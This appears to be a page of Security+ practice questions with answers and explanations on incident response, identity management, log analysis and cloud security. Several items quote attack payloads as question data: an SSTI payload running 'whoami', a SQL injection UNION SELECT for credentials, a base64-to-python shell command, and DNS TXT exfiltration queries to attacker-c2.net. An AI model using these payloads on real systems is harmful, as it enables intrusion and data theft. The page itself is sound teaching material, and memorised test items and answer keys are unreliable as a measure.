All practice questions

2232 questions

Question 861Question

A security operations engineer is responding to an incident where an attacker maintained access to enterprise cloud resources after an employee reported a compromised password. The security analyst immediately performed a password reset, but log reviews show the attacker continued performing administrative actions using an active Single Sign-On (SSO) session and active refresh tokens for several hours afterward. Which of the following operations should the security team perform to remediate this vulnerability and ensure immediate containment during credential resets?

Show answer & explanation

Answer: Enforce automated active session revocation and token invalidation workflows upon password resets.

Answer

Enforcing automated active session revocation and token invalidation workflows upon password resets.
When a password reset occurs, modern SSO identity providers must explicitly revoke issued session tokens and refresh tokens (such as OAuth tokens or SAML session keys). Without explicit token revocation, active sessions remain valid until their scheduled time-to-live (TTL) expires, allowing unauthorized access to persist.

Step-by-Step Solution

1
Analyze the incident evidence to determine how persistent access occurred.
Identified that password resetting alone left existing JSON Web Tokens (JWTs) and active SSO session cookies valid until their natural expiration.
Authentication protocols (OAuth 2.0/OIDC/SAML) decouple credential verification from session token lifecycles unless explicit revocation signals are sent.
2
Evaluate identity operational controls to force session termination across connected applications.
Automating session revocation invalidates all issued access and refresh tokens immediately upon credential change.
This prevents malicious actors from continuing to use cached identity tokens after authentication credentials are rotated.

Key Concept

Identity and Access Management Operations - Session Lifecycle and Token Revocation
Question 862Question

Match each threat intelligence concept on the left with its primary operational role within an enterprise security framework on the right.

Click a left item, then click its matching right item

Items

STIX / TAXII Protocols
Information Sharing and Analysis Center (ISAC)
Open-Source Intelligence (OSINT)
Commercial Threat Intelligence Feed

Matches

Show answer & explanation

Answer

STIX / TAXII Protocols pairs with standardized machine-readable format and transport mechanism; ISAC pairs with sector-specific trust community for peer sharing; OSINT pairs with publicly accessible information gathered from open web resources; Commercial Threat Intelligence Feed pairs with subscription-based curated intelligence service.
Each concept correctly maps to its functional definition in security operations: STIX/TAXII provides standardized machine-readable data formatting and transport; ISAC serves as a peer-to-peer industry trust community; OSINT refers to publicly available intelligence gathered from open sources; and Commercial Threat Intelligence Feeds deliver curated, proprietary subscription-based threat data.

Step-by-Step Solution

1
Identify the primary mechanism used for automated technical threat exchange.
STIX/TAXII protocols provide the structured schema and HTTPS-based transport needed to feed machine-readable IOCs directly into SIEM or SOAR platforms.
Automated ingestion requires standardized schemas (STIX) and defined transport mechanisms (TAXII).
2
Determine the resource designed for industry-wide collaborative threat sharing.
An ISAC connects peer entities operating within the same sector to share industry-relevant attack trends and early warnings.
ISACs are specifically structured around vertical industry sectors to address common threat vectors.
3
Distinguish between freely accessible public intelligence and closed subscription sources.
OSINT uses freely available web data, whereas Commercial Feeds rely on paid vendor subscriptions for high-fidelity, processed intelligence.
OSINT is open to all without licensing, whereas Commercial Feeds are proprietary closed-source services.

Key Concept

Threat Intelligence Sources and Information Sharing Protocols
Question 863Question

A security analyst is reviewing HTTP logs for a web application dashboard generator. During security testing, an tester supplied the parameter payload `{{7*7}}`, which resulted in the server returning a web page displaying `49`. A subsequent request containing the payload `{{self.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}` executed on the backend host and returned the web server execution account context. Which of the following application vulnerabilities is present in this system?

Show answer & explanation

Answer: Server-Side Template Injection (SSTI)

Answer

Server-Side Template Injection (SSTI) is present because user-supplied input was evaluated and executed dynamically by the server's template engine.
Server-Side Template Injection occurs when unvalidated user input is directly processed by a web application template engine. The initial payload `{{7*7}}` demonstrated template expression evaluation by outputting `49`, and the subsequent payload leveraged template engine reflection capabilities to invoke backend system commands, yielding remote code execution.

Step-by-Step Solution

1
Analyze the mathematical test payload `{{7*7}}` and its rendered output `49`.
Identified that the backend template engine dynamically evaluates syntax enclosed in template expression delimiters.
Input evaluating expressions rather than treating them as plain string literals indicates an unvalidated template evaluation vulnerability.
2
Examine the secondary command execution payload and backend response.
Confirmed Remote Code Execution (RCE) via Python template engine built-ins calling system binaries.
Server-side execution of operating system commands via template syntax confirms Server-Side Template Injection.

Key Concept

Server-Side Template Injection (SSTI)
Estimated Time:1m 15s
Question 864Question

An IT auditor inspects syslog entries forwarded to an enterprise SIEM aggregator from a Linux server. The log stream records the following sequential events:

`2026-07-27T14:15:02Z host1 sshd[4821]: Failed password for invalid user root from 198.51.100.45 port 42102 ssh2`
`2026-07-27T14:15:03Z host1 sshd[4825]: Failed password for invalid user admin from 198.51.100.45 port 42104 ssh2`
`2026-07-27T14:15:04Z host1 sshd[4830]: Failed password for invalid user service from 198.51.100.45 port 42108 ssh2`

Which malicious activity is most directly demonstrated by these log entries?

Show answer & explanation

Answer: A brute-force authentication attack targeting system account names

Answer

A brute-force authentication attack targeting system account names
The correct option correctly identifies the signature of an automated brute-force login attack. The syslog output captures sequential authentication failures from a single remote host testing multiple standard user accounts in rapid succession.

Step-by-Step Solution

1
Analyze the log source and process daemon
The entries come from sshd handling Secure Shell login requests
Identifies the core service receiving inbound traffic
2
Examine patterns in timestamps, source IPs, and status messages
Multiple failed attempts occur within seconds from IP 198.51.100.45 trying common administrative usernames
Rapid successive failures for different accounts from one origin indicate password guessing or brute-force scanning

Key Concept

Log Analysis and SIEM Management
Estimated Time:45s
Question 865Question

An enterprise security architect is designing a modern Identity and Access Management (IAM) architecture to support a hybrid enterprise workforce. The solution must provide phishing-resistant, passwordless authentication for corporate users accessing cloud services, while automatically synchronizing user onboarding, role updates, and offboarding privileges from the central Identity Provider (IdP) to external Software as a Service (SaaS) platforms in near real-time. Which of the following protocols or standards should the architect integrate into the IAM architecture to fulfill these requirements? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: WebAuthn / FIDO2 framework to establish challenge-response authentication using asymmetric key pairs bound to origin domains; System for Cross-domain Identity Management (SCIM) RESTful API schema to automate cloud account provisioning and lifecycle attribute sync

Answer

The architect must integrate the WebAuthn / FIDO2 framework for passwordless phishing-resistant authentication and the System for Cross-domain Identity Management (SCIM) standard for automated user provisioning.
WebAuthn / FIDO2 supplies passwordless, origin-bound public key authentication that inherently resists social engineering and phishing attacks. System for Cross-domain Identity Management (SCIM) provides the standardized REST API specifications necessary to push real-time user creation, modifications, and revocations from the IdP to cloud SaaS services.

Step-by-Step Solution

1
Analyze the requirement for phishing-resistant, passwordless authentication across cloud services.
Identify WebAuthn / FIDO2 as the standard architectural specification that uses hardware-bound public-key cryptography to prevent phishing and credential harvest attacks.
WebAuthn binds credentials directly to the website origin, preventing relay attacks common in legacy MFA.
2
Analyze the requirement for automated cross-domain identity lifecycle synchronization (onboarding, role changes, offboarding) to cloud SaaS platforms.
Identify System for Cross-domain Identity Management (SCIM) as the industry standard protocol designed for managing user identity lifecycles across distinct domains via HTTP REST APIs.
SCIM standardizes user object schemas and endpoints so IdPs can push automated creation, update, and deprovisioning events to SaaS targets.
3
Evaluate and eliminate non-viable architectural choices.
Reject direct internal LDAPS exposures due to network perimeter risks and reject OAuth 2.0 Implicit Grant due to security deprecation and its functional focus on access delegation rather than provisioning.
Ensures adherence to modern Zero Trust architecture and secure IAM protocol separation.

Key Concept

Identity and Access Management Architecture: Phishing-Resistant Authentication and Automated Lifecycle Provisioning
Estimated Time:2m 0s
Question 866Question

An incident response specialist is preparing to collect evidence from an active, powered-on server involved in a security incident. In what sequence should the specialist acquire the following digital evidence sources to strictly adhere to the Order of Volatility, moving from most volatile to least volatile?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct order from most volatile to least volatile is: CPU cache and registers, System Random Access Memory (RAM), Temporary swap space and pagefiles, and Local solid-state or hard disk drive storage.
Digital evidence acquisition must follow the Order of Volatility to prevent the loss of ephemeral data. The standard sequence begins with ultra-transient CPU cache and registers, proceeds to live system RAM, moves to temporary disk swap/pagefile space, and finishes with non-volatile local disk storage.

Step-by-Step Solution

1
Identify the data source with the shortest life expectancy.
CPU cache and registers are identified as the most volatile.
CPU registers and memory caches alter content with every clock cycle and instruction execution.
2
Identify active dynamic system memory.
System Random Access Memory (RAM) is placed second.
RAM holds volatile runtime environment details that vanish if power is disconnected or the operating system halts.
3
Identify secondary virtual memory files stored on disk.
Temporary swap space and pagefiles are placed third.
Swap/pagefiles contain memory artifacts written to storage, changing regularly during system operation but less ephemeral than physical RAM.
4
Identify non-volatile persistent storage media.
Local solid-state or hard disk drive storage is placed fourth.
Disk drives store non-volatile data that remains intact even after a system is powered off.

Key Concept

Order of Volatility (RFC 3227)
Question 867Question

A security engineer is establishing defense-in-depth security controls for an enterprise cloud platform hosting both application containers and virtual machines. Match each security control mechanism to its primary protective function.

Click a left item, then click its matching right item

Items

Rootless Container Execution
Microsegmentation
Hypervisor Hardening
Secrets Management Daemon

Matches

Show answer & explanation

Answer

Rootless Container Execution pairs with preventing host root compromise by running under unprivileged accounts; Microsegmentation pairs with restricting internal east-west traffic between microservices; Hypervisor Hardening pairs with mitigating VM escape risks by minimizing hypervisor attack surface; Secrets Management Daemon pairs with dynamically injecting sensitive runtime credentials into memory.
Rootless container execution restricts the container engine daemon to an unprivileged user ID, limiting damage if the container sandbox fails. Microsegmentation enforces policy-driven network boundaries between microservices to prevent unauthorized lateral movement inside the cluster. Hypervisor hardening reduces the attack surface of the virtualization layer to block guest-to-host VM escape exploits. Secrets management daemons dynamically deliver runtime tokens and API keys, ensuring sensitive credentials are never baked into container images.

Step-by-Step Solution

1
Analyze host account privileges for container runtimes
Identified Rootless Container Execution as the control preventing root-level host access during a runtime breach.
If a container runs as non-root on the host OS, a process escape inherits only restricted user rights on the host.
2
Evaluate internal network traffic controls across virtualized workloads
Matched Microsegmentation to granular east-west traffic restrictions between container instances.
Microsegmentation applies policy-based network separation directly to workload interfaces independent of physical VLAN boundaries.
3
Examine hypervisor security boundaries separating guest VMs from host resources
Associated Hypervisor Hardening with mitigation of VM escape vulnerabilities.
Removing unneeded virtual devices and patching the hypervisor prevents guests from interacting directly with underlying hardware or hypervisor host memory.
4
Assess secret storage and injection practices for containerized applications
Paired Secrets Management Daemon with dynamic runtime credential injection.
Storing credentials inside container image layers creates persistent exposure; external secret management ensures ephemeral dynamic delivery.

Key Concept

Virtualization and Containerization Security Mechanisms
Question 868Question

A network administrator receives an alert from an Intrusion Detection System (IDS) displaying the following log entries captured from a local subnet:

[WARN] Unsolicited ARP Reply detected: 192.168.1.1 is at 00:11:22:AA:BB:CC (Previous MAC: 00:00:0C:07:AC:01)
[WARN] Unsolicited ARP Reply detected: 192.168.1.1 is at 00:11:22:AA:BB:CC (Host 192.168.1.45 ARP cache updated)
[INFO] Traffic for default gateway 192.168.1.1 rerouted through 00:11:22:AA:BB:CC

Based on these technical indicators, which of the following network attacks is actively occurring?

Show answer & explanation

Answer: ARP poisoning

Answer

ARP poisoning is the network attack being performed.
The correct option correctly identifies ARP poisoning. Gratuitous or unsolicited ARP replies that map a legitimate gateway IP address to a foreign MAC address are the definitive indicator of ARP cache poisoning, allowing an attacker to intercept or modify local network traffic.

Step-by-Step Solution

1
Analyze the log entries for protocol indicators.
The logs show unsolicited ARP (Address Resolution Protocol) replies linking the default gateway IP address (192.168.1.1) to a different MAC address (00:11:22:AA:BB:CC).
Address Resolution Protocol resolves IP addresses to Layer 2 MAC addresses.
2
Evaluate the impact of unsolicited (gratuitous) ARP replies.
Hosts on the local subnet accept the bogus ARP reply and update their internal ARP cache tables.
Gratuitous ARP broadcasts force targeted hosts to associate the gateway's IP address with the attacker's network interface.
3
Correlate the attack vector with the observed rerouting behavior.
Outbound subnet traffic destined for the gateway is sent directly to the attacker's MAC address, establishing an on-path position.
This signature precisely defines an ARP cache poisoning (ARP spoofing) attack.

Key Concept

ARP Cache Poisoning / ARP Spoofing
Question 869Question

A security operations team has confirmed a active malware infection on a financial database administrator's workstation. Arrange the incident response playbook actions in the correct chronological order from first to last.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct chronological sequence begins with host network isolation (containment), followed by volatile memory acquisition (forensics/preservation), followed by system sanitization and image restoration (eradication/recovery), and concludes with the post-incident review (lessons learned).
According to NIST SP 800-61 standards, once an incident is confirmed, the immediate step is Containment (isolating the host from the network). Next comes Evidence Preservation (capturing volatile RAM while the machine is running). Following evidence collection, Eradication and Recovery take place (removing malware and re-imaging from clean media). Finally, Post-Incident Activities (lessons learned) occur once operations return to normal.

Step-by-Step Solution

1
Isolate the infected host from the enterprise network.
Containment is achieved, halting active command-and-control communication and lateral propagation.
Immediate containment stops potential compromise progression before pursuing offline analysis.
2
Acquire volatile memory evidence prior to system shutdown.
RAM memory dump and volatile system state are preserved for investigation.
Volatile data resides in RAM and will be permanently lost if the machine is powered off or rebooted during remediation.
3
Perform eradication of threat artifacts and execute recovery procedures.
Malware persistence is removed and the system is safely restored to operational status from a verified baseline.
Eradication ensures the environment is clean before returning the system to production.
4
Hold a post-incident review and update documentation.
Lessons learned are compiled into an incident report to improve security operations.
Post-incident analysis evaluates performance metrics and identifies playbook improvements for future incidents.

Key Concept

NIST Incident Response Lifecycle (Containment, Evidence Preservation, Eradication/Recovery, Lessons Learned)
Question 870Question

A security engineer is configuring a high-availability perimeter firewall pair using Virtual Router Redundancy Protocol (VRRP) to eliminate single points of failure at the default gateway. During failover testing, when the primary firewall is forcibly rebooted, downstream clients experience dropped sessions and must re-authenticate and re-establish all TCP connections, even though the standby appliance immediately claims the virtual IP address. Which mechanism must be implemented alongside virtual IP redundancy to preserve established network sessions during an unexpected failover?

Show answer & explanation

Answer: Stateful connection table synchronization across cluster nodes

Answer

Stateful connection table synchronization across cluster nodes is required to preserve live connections during failover.
Stateful connection table synchronization continuously mirrors transient firewall session states (such as TCP connection tracking and NAT translation tables) from the active node to the passive node. When the virtual IP shifts via VRRP, the secondary appliance already possesses the full session context, allowing active client connections to continue uninterrupted without requiring re-authentication.

Step-by-Step Solution

1
Analyze the failure symptom in the scenario
Virtual IP failover works correctly (layer 3 IP address transfer), but active TCP sessions are dropped.
VRRP only manages virtual IP address ownership and network routing; it does not replicate layer 4-7 state memory between firewall appliances.
2
Identify the missing high-availability component
Stateful connection table synchronization (e.g., conntrackd or pfsync) is required.
Without state synchronization, the new active firewall views existing client connections as invalid or unrecognized state transitions and drops them.
3
Evaluate candidate options against requirements
Stateful connection table synchronization fulfills the zero-session-drop requirement.
Hardware disk mirroring (RAID 1), DHCP scopes, and configuration backups address local disk storage fault tolerance, IP leasing resilience, and disaster recovery configuration management respectively, not live session persistence.

Key Concept

High-Availability Stateful Session Synchronization vs Virtual IP Failover
Estimated Time:2m 0s
Question 871Question

A security analyst is investigating an anomaly in an e-commerce platform's reward point redemption API. During peak traffic events, logs reveal that multiple concurrent API requests using the same single-use discount coupon resulted in repeated point deductions beyond the user's actual balance. Code review shows that the application checks the remaining balance in one database query and updates the record in a subsequent query without synchronization. Which of the following vulnerabilities and mitigation strategies are identified in this scenario? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: The application exhibits a Time-of-Check to Time-of-Use (TOCTOU) race condition vulnerability.; Implementing database row-level locking or atomic transactions mitigates the vulnerability.

Answer

The application suffers from a Time-of-Check to Time-of-Use (TOCTOU) race condition, which can be remediated by implementing database row-level locking or atomic transaction controls.
The scenario describes a classic Time-of-Check to Time-of-Use (TOCTOU) race condition where separate check and write operations allow concurrent requests to bypass validation rules. Remediating this requires software-level controls such as database row locking, mutex locks, or atomic transaction handling to ensure thread safety.

Step-by-Step Solution

1
Analyze the reported behavior and system logs.
Concurrent requests succeed because checking the user balance and updating the account occur in distinct, non-atomic steps.
This timing window creates a race condition known as Time-of-Check to Time-of-Use (TOCTOU).
2
Determine the appropriate application-level remediation.
Enforce atomic database operations or mutex locking mechanisms during state validation.
Atomic transactions prevent other threads or requests from inspecting or altering state until the transaction completes.

Key Concept

Race Conditions and TOCTOU Vulnerabilities in Software Applications
Question 872Question

An enterprise web application accepts XML-based configuration files uploaded by system administrators. During a code security audit of the backend parser, an analyst discovers that the XML parser is configured to parse inline Document Type Definitions (DTDs) and resolve external entity references by default. Which of the following vulnerabilities is directly created by this parser configuration flaw?

Show answer & explanation

Answer: XML External Entity (XXE)

Answer

The XML External Entity (XXE) vulnerability allows attackers to reference external entities in XML payloads when inline DTD parsing and external entity resolution are enabled.
Enabling inline DTD processing and external entity resolution in an XML parser directly introduces an XML External Entity (XXE) vulnerability. Attackers can leverage custom entity definitions (e.g., system file paths or internal URIs) to read sensitive files from the server or conduct server-side request forgery.

Step-by-Step Solution

1
Analyze the reported software defect in the XML parsing library.
The parser permits DTD definitions and automatically fetches or resolves URI resources declared within `<!ENTITY>` tags.
Allowing external entity resolution exposes backend file systems and internal endpoints to unauthorized access.
2
Correlate the parser configuration weakness with standard application security vulnerability classes.
Processing untrusted DTD external entity declarations defines the XML External Entity (XXE) vulnerability class.
Disabling DTD processing (or disabling external entity resolution) is the primary software remediation.

Key Concept

XML External Entity (XXE) Vulnerability
Question 873Question

During a routine SOC escalation, an analyst discovers that a compromised staging CI/CD build server is executing unauthorized outbound SSH tunnels to an external IP address while pulling credentials from an internal vault. The server maintains active service accounts with administrative privileges to production clusters. Following standard NIST SP 800-61 incident response guidelines, which of the following actions should the analyst perform FIRST?

Show answer & explanation

Answer: Isolate the build server from the network and revoke the associated service account credentials.

Answer

Isolate the build server from the network and revoke the associated service account credentials.
The correct action prioritizes the containment phase of the incident response lifecycle. Disconnecting the compromised system from the network and revoking elevated service credentials immediately mitigates the risk of lateral movement into production environments and halts active exfiltration.

Step-by-Step Solution

1
Identify the current incident response phase based on the scenario indicators.
The incident is actively occurring with ongoing unauthorized outbound traffic and lateral movement risk.
Determining the phase ensures adherence to standard incident handling frameworks (NIST SP 800-61 / ISO 27035).
2
Select the immediate containment step to stop active impact.
Network isolation of the host and revocation of compromised staging/production service accounts.
Containment limits the scope of damage and prevents attackers from pivoting into production before eradication begins.

Key Concept

Incident Response Containment Phase Priority
Question 874Question

A Security Operations Center (SOC) analyst is evaluating DNS server query logs forward-collected by a SIEM platform after an internal endpoint exhibited anomalous egress bandwidth usage. The analyst extracts the following sample log entries from internal host 10.0.12.85 over a brief period:

text
2026-07-27T08:14:02Z client 10.0.12.85#49152 query: v1-dGhpcyBpcyBhIHRlc3Q.data.corp-update.net IN TXT + (10.0.0.2)
2026-07-27T08:14:05Z client 10.0.12.85#49153 query: v1-c2VjcmV0IGRvY3VtZW50.data.corp-update.net IN TXT + (10.0.0.2)
2026-07-27T08:14:09Z client 10.0.12.85#49154 query: v1-ZXhmaWx0cmF0ZWQgZGF0YQ.data.corp-update.net IN TXT + (10.0.0.2)

Standard volume-based DNS threshold alerts failed to trigger because the query frequency remained low. Which of the following SIEM correlation rule enhancements would be MOST effective for detecting this specific exfiltration technique while minimizing false positives?

Show answer & explanation

Answer: Incorporate string entropy calculation and subdomain length evaluation combined with high unique TXT query ratios directed toward external second-level domains.

Answer

Incorporate string entropy calculation and subdomain length evaluation combined with high unique TXT query ratios directed toward external second-level domains.
The provided log snippet shows Base64-encoded strings placed within the host portion of DNS TXT queries targeting an external domain name. Because adversaries slow down request rates to evade basic query volume alerts, effective SIEM rules must evaluate statistical properties of the log data—specifically high character entropy (randomness), unusually long subdomain lengths, and high ratios of unique subdomains to a single domain destination.

Step-by-Step Solution

1
Analyze the log entries for specific structural patterns.
The queries feature highly variable, randomized prefixes (e.g., 'dGhpcyBpcyBh...') prepended to a common base domain ('data.corp-update.net') requesting TXT records.
This structural pattern indicates Base64-encoded payload fragments being transmitted outbound via DNS queries (DNS tunneling/data exfiltration).
2
Evaluate why standard SIEM correlation rules (volume thresholds) failed.
The query intervals (3–4 seconds apart) fall well below standard high-frequency burst detection metrics.
Adversaries intentionally throttle requests to bypass simplistic volumetric rate alerts.
3
Determine the optimal SIEM detection metric for low-and-slow DNS tunneling.
Calculating Shannon entropy (randomness of string characters), checking long subdomain labels, and tracking high counts of unique subdomains per domain name effectively flags encoded exfiltration payloads.
Encoded strings have significantly higher entropy than standard human-readable domain names, providing high detection fidelity with minimal false positives.

Key Concept

DNS Tunneling Detection and SIEM Rule Tuning
Question 875Question

A Security Operations Center (SOC) analyst is investigating suspicious network and system activity. The analyst extracts the following aggregated log entries from a public-facing web server (web-srv-01) and an internal DNS resolver (dns-core-01):

Log Snippet 1 (Web Server Access & Audit Logs):
2026-07-27T14:22:05Z web-srv-01 nginx: 192.168.10.45 - - [27/Jul/2026:14:22:05 +0000] "POST /api/v1/upload HTTP/1.1" 200 4512 "-" "python-requests/2.31.0"
2026-07-27T14:22:12Z web-srv-01 auditd[1420]: type=EXECVE msg=audit(1785162132.102:402): argc=3 a0="/bin/sh" a1="-c" a2="base64 -d <<< 'aW1wb3J0IG9z...' | python3"

Log Snippet 2 (DNS Query Logs):
2026-07-27T14:22:15Z dns-core-01 named[882]: client 10.0.4.15#52104 (aW5mby5leGZpbHRyYXRpb24.attacker-c2.net): query: aW5mby5leGZpbHRyYXRpb24.attacker-c2.net IN TXT + (10.0.4.1)
2026-07-27T14:22:16Z dns-core-01 named[882]: client 10.0.4.15#52105 (c2VjcmV0ZGF0YS5leGZpbHRyYXRpb24.attacker-c2.net): query: c2VjcmV0ZGF0YS5leGZpbHRyYXRpb24.attacker-c2.net IN TXT + (10.0.4.1)

Based on the log analysis, which of the following conclusions and SIEM detection strategies are correct? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: The log entries demonstrate an arbitrary code execution exploit followed by data exfiltration via DNS TXT queries.; The SIEM should be configured with a correlation rule linking shell process creation on web hosts to subsequent high-entropy DNS TXT queries within a short time window.

Answer

The correct conclusions are that the logs show arbitrary code execution followed by DNS TXT data exfiltration, and that SIEM correlation rules should link web-triggered process execution with high-entropy DNS TXT queries.
The system logs demonstrate a two-stage attack chain: initial server-side command execution via a web request (proven by the audit log capturing /bin/sh launching a base64-decoded Python script), followed by DNS tunneling (indicated by DNS TXT queries containing base64-encoded subdomains). A proper SIEM detection rule correlates these disparate log sources across time to flag server process spawns paired with high-entropy DNS queries.

Step-by-Step Solution

1
Analyze the web server access and audit logs
The HTTP POST request to /api/v1/upload was followed seconds later by an auditd EXECVE log entry showing /bin/sh executing a base64-decoded Python payload on the web server.
This indicates server-side command execution resulting from the web application request.
2
Analyze the DNS query logs
Immediately after command execution, the DNS server logged multiple TXT record queries containing long base64-encoded subdomains directed to an external domain (attacker-c2.net).
Encoded subdomains queried via TXT records are a classic indicator of DNS tunneling used for command-and-control (C2) or data exfiltration.
3
Formulate effective SIEM correlation logic
Link host process creation (web server spawning shell/scripting binaries) with network-level anomalies (DNS queries containing high entropy or non-standard TXT lookups) across a unified timestamp timeline.
Combining process execution telemetry with network query logs reduces false positives and detects multi-stage attack chains.

Key Concept

SIEM Cross-Source Log Correlation and DNS Exfiltration Analysis
Estimated Time:1m 30s
Question 876Question

A security analyst is reviewing web server access logs collected by a Security Information and Event Management (SIEM) system. The log stream displays the following entry:

`192.168.1.45 - - [27/Jul/2026:14:22:10 +0000] "GET /products.php?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1" 200 452`

Which of the following attack types is directly indicated by this log entry?

Show answer & explanation

Answer: SQL injection

Answer

SQL injection
The correct answer is SQL injection because the HTTP GET query string contains explicit database command syntax (`UNION SELECT username,password FROM users--`). This indicates an attacker attempting to bypass application input controls to exfiltrate database records.

Step-by-Step Solution

1
Examine the HTTP GET request parameter in the log snippet.
The string contains `id=1%20UNION%20SELECT%20username,password%20FROM%20users--`.
URL encoding (`%20` for space) conceals SQL keyword syntax used to append database query results.
2
Identify the target component and intent of the injected string.
The `UNION SELECT` construct attempts to query database user tables via an unvalidated web application input field.
Injecting database commands into application parameters to interact directly with backend data is the core characteristic of SQL injection.

Key Concept

Log Identification of Web Application Attacks
Estimated Time:45s
Question 877Question

An IT administrator is deploying a centralized log server that must remain operational without downtime if an individual hard drive suffers a physical failure. Which of the following technologies should the administrator implement to provide this real-time storage fault tolerance?

Show answer & explanation

Answer: Redundant Array of Independent Disks (RAID)

Answer

Redundant Array of Independent Disks (RAID) should be implemented because it provides real-time disk redundancy and storage fault tolerance, enabling the system to sustain a hard drive failure without server downtime.
Redundant Array of Independent Disks (RAID) mirrors or stripes data with parity across multiple physical drives. This ensures that if a single drive fails, the system continues functioning without loss of availability or data.

Step-by-Step Solution

1
Identify the system requirement from the scenario
The server requires immediate storage-level fault tolerance to maintain continuous uptime during a single hard drive failure.
Hardware fault tolerance at the storage layer prevents service interruption.
2
Evaluate the technical redundancy controls available
RAID mirrors or stripes data with parity across multiple physical hard drives, allowing the server to operate continuously despite a single disk failure.
RAID directly addresses physical storage media redundancy.

Key Concept

Redundant Array of Independent Disks (RAID) storage fault tolerance
Question 878Question

An enterprise aerospace contractor is modernizing its IT infrastructure across diverse cloud environments. Match each enterprise workload scenario on the left with the corresponding cloud service or deployment model on the right that best represents its architecture.

Click a left item, then click its matching right item

Items

Custom telemetry processing engine requiring direct operating system kernel configuration and virtual machine root administrative control.
Customer service ticketing application maintained completely by an external vendor, where internal IT only manages user access and support workflows.
Event-driven backend component that executes lightweight data transformation code triggered by file uploads without persistent server instances.
Shared threat intelligence platform co-owned and accessed exclusively by member defense organizations operating under identical regulatory frameworks.

Matches

Show answer & explanation

Answer

The correct pairings match each workload requirement to its underlying operational model: virtual machine and OS administrative control maps to Infrastructure as a Service (IaaS); complete vendor application management maps to Software as a Service (SaaS); event-triggered serverless code execution maps to Function as a Service (FaaS); and infrastructure shared exclusively among organizations with common mission objectives maps to Community Cloud.
Each workload scenario correctly aligns with the scope of responsibility and deployment boundaries defined by the respective cloud models: IaaS grants OS-level control; SaaS abstracts application infrastructure; FaaS provides event-driven serverless execution; and Community Cloud serves a closed group of organizations with shared security requirements.

Step-by-Step Solution

1
Analyze the workload requiring OS kernel tuning and root administrative control over virtual machines.
Identify that managing the OS layer while relying on the provider for virtualization and physical hardware defines Infrastructure as a Service (IaaS).
IaaS provides raw compute infrastructure where the consumer maintains control over operating systems, storage, and deployed applications.
2
Evaluate the customer support application managed end-to-end by an external vendor.
Identify that consuming a fully hosted application while managing only application-level user access defines Software as a Service (SaaS).
SaaS abstracts all infrastructure, operating system, and application maintenance from the consumer.
3
Assess the short-lived event-driven data transformation execution.
Identify that running microservice logic on demand without provisioning infrastructure defines Function as a Service (FaaS) / Serverless.
FaaS executes ephemeral code units on demand, shifting server provisioning and scaling responsibility entirely to the cloud provider.
4
Examine the shared threat feed infrastructure restricted to specific vetted defense partner organizations.
Identify that a multi-tenant environment limited to distinct member organizations with shared regulatory needs defines a Community Cloud.
Community Cloud deployment models pool infrastructure specifically to support a specific community that shares common requirements or compliance mandates.

Key Concept

Cloud Service and Deployment Model Taxonomy
Question 879Question

A security analyst confirms that an employee workstation has been infected with self-propagating malware that is actively scanning the local subnet for vulnerable hosts. According to standard incident response frameworks, which action should the analyst take FIRST?

Show answer & explanation

Answer: Disconnect the workstation from the network to isolate it

Answer

Disconnect the workstation from the network to isolate it
Isolating the affected system from the network is the immediate containment action required by NIST and ISO incident response playbooks. Containment stops the active spread of malware and lateral movement while preserving the current state for further analysis.

Step-by-Step Solution

1
Identify the current phase of the incident response process
The incident has been detected and confirmed, meaning containment must immediately follow.
Once an active threat is identified, stopping its spread is the primary operational objective.
2
Select the containment action from the available choices
Disconnecting/isolating the host prevents network traffic from leaving or entering the infected system.
Network isolation stops active lateral movement without destroying volatile evidence needed for containment analysis.

Key Concept

Incident Response Process Order (Containment Phase First)
Question 880Question

A security administration team needs to centralize management for administrative console logins across enterprise network routers and switches. The architectural requirements specify that authentication must be decoupled from authorization to enforce granular per-command permissions, and the entire transmission packet body must be encrypted. Which protocol should the team implement?

Show answer & explanation

Answer: Terminal Access Controller Access-Control System Plus (TACACS+)

Answer

Terminal Access Controller Access-Control System Plus (TACACS+) is the correct protocol as it encrypts the full packet payload and completely separates authentication and authorization operations.
Terminal Access Controller Access-Control System Plus (TACACS+) fulfills all architectural criteria by encrypting the full payload of every packet and modularizing AAA functions, allowing administrators to restrict and audit specific commands executed on network hardware.

Step-by-Step Solution

1
Analyze the technical requirements in the stem
Identified two primary requirements: full packet encryption and separation of authentication from command-level authorization for administrative network access.
Selecting an appropriate IAM architecture protocol requires matching key operational features to explicit requirements.
2
Compare protocol capabilities against security requirements
TACACS+ uses TCP port 49, encrypts all packet contents after the header, and separates AAA functions. RADIUS uses UDP, encrypts only passwords, and combines authentication with authorization.
Determines which AAA architectural protocol fulfills both granular authorization and packet protection specifications.

Key Concept

TACACS+ vs RADIUS Architecture in Device Management
Estimated Time:45s
PreviousPage 44 / 112Next
All practice questions — CompTIA Security+ | Examkin